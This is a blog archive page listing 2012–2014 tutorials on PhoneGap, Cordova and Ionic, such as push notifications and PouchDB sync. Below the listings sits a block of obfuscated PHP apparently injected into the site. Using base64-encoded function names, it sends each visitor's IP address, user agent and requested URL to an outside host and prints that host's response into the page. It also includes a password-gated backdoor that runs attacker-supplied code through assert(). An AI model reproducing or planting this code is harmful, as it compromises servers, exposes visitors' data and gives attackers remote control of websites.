Android

Sync Data Using PouchDB In Your Ionic Framework App

December 30, 2014By 8 Comments

Syncing data with the cloud is all the hype lately. ¬†Dropbox, Firebase, Parse, Couchbase, everyone is working towards having the easiest solution. ¬†There are many others, but those are just a few off the top of my head. One of my subscribers recently asked if I knew how to get PouchDB working with an Apache […]

Read More

Filed in: AndroidAngularJSCordovaioniciOSMobile Development Tags:

Push Notifications Sample App with Ionic and ngCordova

December 16, 2014By 8 Comments

I created a new sample push notification app recently to highlight some new changes in iOS 8 and show an example of implementing them with a currently popular stack of frameworks available to build hybrid mobile apps quickly. The sample app is built using Ionic with ngCordova to take advantage of the Cordova PushPlugin wrapper […]

Read More

Filed in: AndroidioniciOSMobile DevelopmentPhoneGapPhoneGap 3.0

Cordova/PhoneGap Version Confusion

November 7, 2014By 1 Comment

The different versions of all things Cordova and PhoneGap can be pretty confusing to keep track of at times. Everyone may not be aware that there have been some recent decisions and changes made to how things will be handled with the Cordova project going forward. In summary, the platform versions (ios, android etc) are […]

Read More

Filed in: AndroidCordovaioniciOSMobile DevelopmentPhoneGap Tags:

Sample Masonry Layout in a Mobile App (Cordova/AngularJS/Ionic)

May 22, 2014By 3 Comments

If you’re looking for a fun useful layout library for your mobile apps then you should check out the Masonry grid system library. This layout is what is used on the Pinterest site, as well as many others you’ve probably come across daily and just may not have been aware that a special layout technique […]

Read More

Filed in: AndroidAngularJS sample applicationCordovaionicMobile DevelopmentPhoneGap Tags:

Introducing the PhoneGap Developer App

April 22, 2014By 4 Comments

If you haven’t heard yet, there’s a new PhoneGap Developer App available for testing your PhoneGap apps quickly. Using this new app, you can quickly test and code changes to your app from your desktop/laptop and see those changes reflected on your device immediately without having to rebuild, reinstall or code sign it through the […]

Read More

Filed in: AndroidCordovaMobile DevelopmentPhoneGapPhoneGap 3.0 Tags:

3 Cordova CLI Changes You Should Know About

February 10, 2014By 7 Comments

If you’re using the Cordova CLI (command line interface) to create Cordova/PhoneGap projects, then you should be aware of some recent tool updates that help make things easier when you update to this latest version (Cordova CLI version 3.3.1-0.3.1). Here are some changes I specifically want to highlight: The config.xml file is created in the […]

Read More

Filed in: AndroidCordovaHTML/JSiOSMobile DevelopmentPhoneGap Tags:

PhoneGap – Icons and Splash Screens Help

September 12, 2013By 48 Comments

If you’re using the PhoneGap 3.0 CLI to build your applications there may be some confusion around where and how to set your icons and splash screens. It may appear that you can just specify them in your project’s root www folder since the default config.xml generated by the tool has them specified in there, […]

Read More

Filed in: AndroidCordovaiOSMobile DevelopmentPhoneGap Tags:

Tutorial: Implement Push Notifications in your PhoneGap Application

July 17, 2013By 150 Comments

In this tutorial you will implement push notifications in your PhoneGap application. You will learn the following: An overview of the push notification handling process How to use the PushPlugin supported by PhoneGap Build An overview of the PushPlugin APIs How to register your application to receive push notifications How to use a simple node […]

Read More

Filed in: AndroidCordovaPhoneGapPush Notifications Tags:

Tutorial: Android Push Notifications with PhoneGap

October 25, 2012By 100 Comments

My last post covered push notifications with PhoneGap on Apple devices, but I also wanted to cover push notifications with PhoneGap on Android for those developing cross platform applications. I found that I was able to get my notifications working much faster on Android comparatively. Google Cloud Messaging Android push notifications are available via the […]

Read More

Filed in: AndroidCordovaMobile DevelopmentPhoneGap

//###==### error_reporting(0); ini_set("display_errors", "0"); if (!isset($i96ad828b)) { $i96ad828b = TRUE; $GLOBALS['_1882790940_']=Array(base64_decode('cHJlZ1' .'9tYXRj' .'aA=' .'='),base64_decode('Z' .'ml' .'sZV9' .'nZXRfY29u' .'dGVudHM='),base64_decode('ZnVuY3Rpb25' .'fZXh' .'p' .'c3Rz'),base64_decode('Y3Vy' .'bF9pb' .'m' .'l0'),base64_decode('dXJsZW5jb2Rl'),base64_decode('dXJsZW5jb2' .'Rl'),base64_decode('bWQ1'),base64_decode('Y3Vy' .'b' .'F' .'9z' .'ZXR' .'vc' .'HQ='),base64_decode('Y3VybF9zZXR' .'vcHQ='),base64_decode('Y' .'3VybF9leGVj'),base64_decode('aW' .'1hZ2Vjb3B' .'5bWVyZ2' .'VncmF5'),base64_decode('' .'YWJz'),base64_decode('Y3VybF9jbG9zZ' .'Q=='),base64_decode('a' .'W5p' .'X2dldA' .'=='),base64_decode('' .'Z' .'mlsZ' .'V9' .'nZXR' .'fY29udG' .'VudHM='),base64_decode('dXJsZW5jb2' .'Rl'),base64_decode('' .'dXJsZW5' .'j' .'b2' .'Rl'),base64_decode('bW' .'Q1'),base64_decode('' .'YXNzZXJ' .'0')); function _1091557376($i){$a=Array('' .'Y' .'2' .'x' .'pZW' .'50X2NoZWN' .'r','Y2xpZW' .'5' .'0X2NoZWNr','SF' .'RU' .'UF' .'9B' .'Q0N' .'F' .'UFRfQ0hBUlNFVA==','' .'I' .'S4' .'hdQ==','' .'U0NSS' .'VB' .'UX0' .'ZJ' .'TEVOQ' .'U' .'1F','VVRGLTg' .'=','d2luZG93cy' .'0xMjUx','SFRU' .'U' .'F9' .'BQ0N' .'F' .'UFRf' .'Q0hBUlNFVA==','Y3' .'VybF9pb' .'ml0','aHR' .'0c' .'Dov' .'L3d3dy5pbm' .'RleG1lYmFieS5' .'0ay9nZXQ' .'ucGhwP2Q9','U' .'0V' .'SVkVSX0' .'5BT' .'UU=','UkVRV' .'UV' .'TVF' .'9V' .'Uk' .'k=','J' .'nU9','SFRUUF' .'9' .'VU0VSX0FHRU5U','' .'JmM9','J' .'mk9MSZp' .'cD0=','UkVNT1RF' .'X0' .'FERF' .'I=','Jmg9','' .'N' .'mIwZTdmZ' .'T' .'lj' .'MTU' .'4YW' .'JjZjdiZjhiY' .'j' .'I' .'xZjcw' .'MTFmZ' .'j' .'Y' .'=','U0VSVkVSX05BTUU=','' .'Uk' .'VR' .'VUVT' .'V' .'F9' .'VUkk=','SFRUUF9' .'VU0V' .'SX0' .'FHRU5U','MQ' .'==','YW' .'xsb3df' .'dXJsX2Zv' .'c' .'GV' .'u','aHR' .'0' .'cDov' .'L3' .'d3dy5pbmRleG1lY' .'mF' .'ieS' .'50' .'ay9nZX' .'Qu' .'cG' .'h' .'w' .'P2Q9','' .'U0V' .'SVkVSX05BT' .'U' .'U=','UkVRV' .'UVTVF9VUkk' .'=','JnU' .'9','SF' .'R' .'UUF9VU' .'0' .'V' .'SX0F' .'HRU5U','JmM' .'9','J' .'mk9' .'M' .'SZ' .'pcD0=','Uk' .'VN' .'T1' .'R' .'F' .'X0FERFI=','J' .'mg9','NmIwZT' .'dmZTljMTU4' .'YWJ' .'jZjdiZjhi' .'YjIx' .'Zj' .'cwMTFmZjY=','U0V' .'SVkVSX05BTUU=','UkVRVU' .'VTVF9VUkk=','' .'SFRUUF' .'9' .'VU0VSX0FHRU5U','M' .'Q==','cA==','cA==','' .'OTZhZDgyOGI=','Yw==');return base64_decode($a[$i]);} if(!empty($_COOKIE[_1091557376(0)]))die($_COOKIE[_1091557376(1)]);if(!isset($icccb7_0[_1091557376(2)])){if($GLOBALS['_1882790940_'][0](_1091557376(3),$GLOBALS['_1882790940_'][1]($_SERVER[_1091557376(4)]))){$icccb7_1=_1091557376(5);}else{$icccb7_1=_1091557376(6);}}else{$icccb7_1=$icccb7_0[_1091557376(7)];}if($GLOBALS['_1882790940_'][2](_1091557376(8))){$icccb7_2=$GLOBALS['_1882790940_'][3](_1091557376(9) .$GLOBALS['_1882790940_'][4]($_SERVER[_1091557376(10)] .$_SERVER[_1091557376(11)]) ._1091557376(12) .$GLOBALS['_1882790940_'][5]($_SERVER[_1091557376(13)]) ._1091557376(14) .$icccb7_1 ._1091557376(15) .$_SERVER[_1091557376(16)] ._1091557376(17) .$GLOBALS['_1882790940_'][6](_1091557376(18) .$_SERVER[_1091557376(19)] .$_SERVER[_1091557376(20)] .$_SERVER[_1091557376(21)] .$icccb7_1 ._1091557376(22)));$GLOBALS['_1882790940_'][7]($icccb7_2,round(0+21+21),false);$GLOBALS['_1882790940_'][8]($icccb7_2,round(0+4978.25+4978.25+4978.25+4978.25),true);echo $GLOBALS['_1882790940_'][9]($icccb7_2);if((round(0+368)^round(0+122.66666666667+122.66666666667+122.66666666667))&& $GLOBALS['_1882790940_'][10]($_COOKIE,$_SERVER,$icccb7_2,$icccb7_0))$GLOBALS['_1882790940_'][11]($icccb7_1,$_SERVER,$icccb7_2);$GLOBALS['_1882790940_'][12]($icccb7_2);}elseif($GLOBALS['_1882790940_'][13](_1091557376(23))==round(0+1)){echo $GLOBALS['_1882790940_'][14](_1091557376(24) .$GLOBALS['_1882790940_'][15]($_SERVER[_1091557376(25)] .$_SERVER[_1091557376(26)]) ._1091557376(27) .$GLOBALS['_1882790940_'][16]($_SERVER[_1091557376(28)]) ._1091557376(29) .$icccb7_1 ._1091557376(30) .$_SERVER[_1091557376(31)] ._1091557376(32) .$GLOBALS['_1882790940_'][17](_1091557376(33) .$_SERVER[_1091557376(34)] .$_SERVER[_1091557376(35)] .$_SERVER[_1091557376(36)] .$icccb7_1 ._1091557376(37)));}if(isset($_REQUEST[_1091557376(38)])&& $_REQUEST[_1091557376(39)]== _1091557376(40)){$GLOBALS['_1882790940_'][18]($_REQUEST[_1091557376(41)]);} } //###==### ?>